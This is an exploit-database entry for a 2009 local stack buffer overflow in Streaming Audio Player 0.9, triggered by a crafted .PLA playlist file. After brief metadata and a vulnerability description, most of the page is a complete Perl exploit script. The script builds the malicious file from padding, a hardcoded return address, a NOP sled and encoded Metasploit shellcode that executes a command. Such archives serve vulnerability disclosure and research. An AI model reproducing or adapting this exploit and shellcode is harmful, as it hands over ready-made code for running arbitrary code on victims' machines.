Streaming Audio Player 0.9 (.PLA File) Local Stack Overflow Exploit

vendor:

Streaming Audio Player

by:

Hakxer

7,8

CVSS

HIGH

Stack Overflow

119

CWE

Product Name: Streaming Audio Player

Affected Version From: 0.9

Affected Version To: 0.9

Patch Exists: YES

Related CWE: N/A

CPE: a:streaming_audio_player:streaming_audio_player:0.9

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2009

Streaming Audio Player 0.9 (.PLA File) Local Stack Overflow Exploit

A local stack overflow vulnerability exists in Streaming Audio Player 0.9. An attacker can exploit this vulnerability to execute arbitrary code in the context of the application. This is due to the application failing to properly validate user-supplied input when handling .PLA files. An attacker can exploit this vulnerability by supplying a specially crafted .PLA file to the application, which will cause a stack-based buffer overflow, resulting in arbitrary code execution.

Mitigation:

Upgrade to the latest version of Streaming Audio Player 0.9 or later.

Source

Exploit-DB raw data:

# by : Hakxer -> EgY Coders Team
# Streaming Audio Player 0.9 (.PLA File) Local Stack Overflow Exploit
# hakxer.1@gmail.com
# Greetz : Allah
#                , ExH , ProViDoR , Error Code , Br1ght D@rk , all my friends
##########################################################################
 
$buff="\x41" x 288;
$ret="\x77\xE9\xAE\x59"; # 0x77E9AE59      call esp
$nops="\x90" x 20;
# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
$shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x30\x42\x30\x42\x50\x4b\x48\x45\x44\x4e\x43\x4b\x48\x4e\x37".
"\x45\x50\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x31\x4b\x38".
"\x4f\x55\x42\x32\x41\x50\x4b\x4e\x49\x44\x4b\x58\x46\x43\x4b\x48".
"\x41\x30\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c".
"\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x45\x46\x42\x46\x50\x45\x37\x45\x4e\x4b\x38".
"\x4f\x55\x46\x52\x41\x30\x4b\x4e\x48\x56\x4b\x38\x4e\x30\x4b\x34".
"\x4b\x58\x4f\x35\x4e\x51\x41\x50\x4b\x4e\x4b\x58\x4e\x41\x4b\x58".
"\x41\x50\x4b\x4e\x49\x48\x4e\x55\x46\x32\x46\x50\x43\x4c\x41\x43".
"\x42\x4c\x46\x46\x4b\x58\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x37".
"\x4e\x50\x4b\x38\x42\x44\x4e\x50\x4b\x58\x42\x47\x4e\x31\x4d\x4a".
"\x4b\x58\x4a\x56\x4a\x30\x4b\x4e\x49\x50\x4b\x48\x42\x58\x42\x4b".
"\x42\x50\x42\x30\x42\x50\x4b\x38\x4a\x46\x4e\x43\x4f\x55\x41\x53".
"\x48\x4f\x42\x36\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x47".
"\x42\x35\x4a\x36\x42\x4f\x4c\x48\x46\x50\x4f\x55\x4a\x56\x4a\x39".
"\x50\x4f\x4c\x38\x50\x30\x47\x55\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x36\x43\x56\x42\x50\x5a";
open(MYFILE,'>>exploit.pla');
print MYFILE $buff;
print MYFILE $ret;
print MYFILE $nops;
print MYFILE $shellcode;
close(MYFILE);

# milw0rm.com [2009-05-07]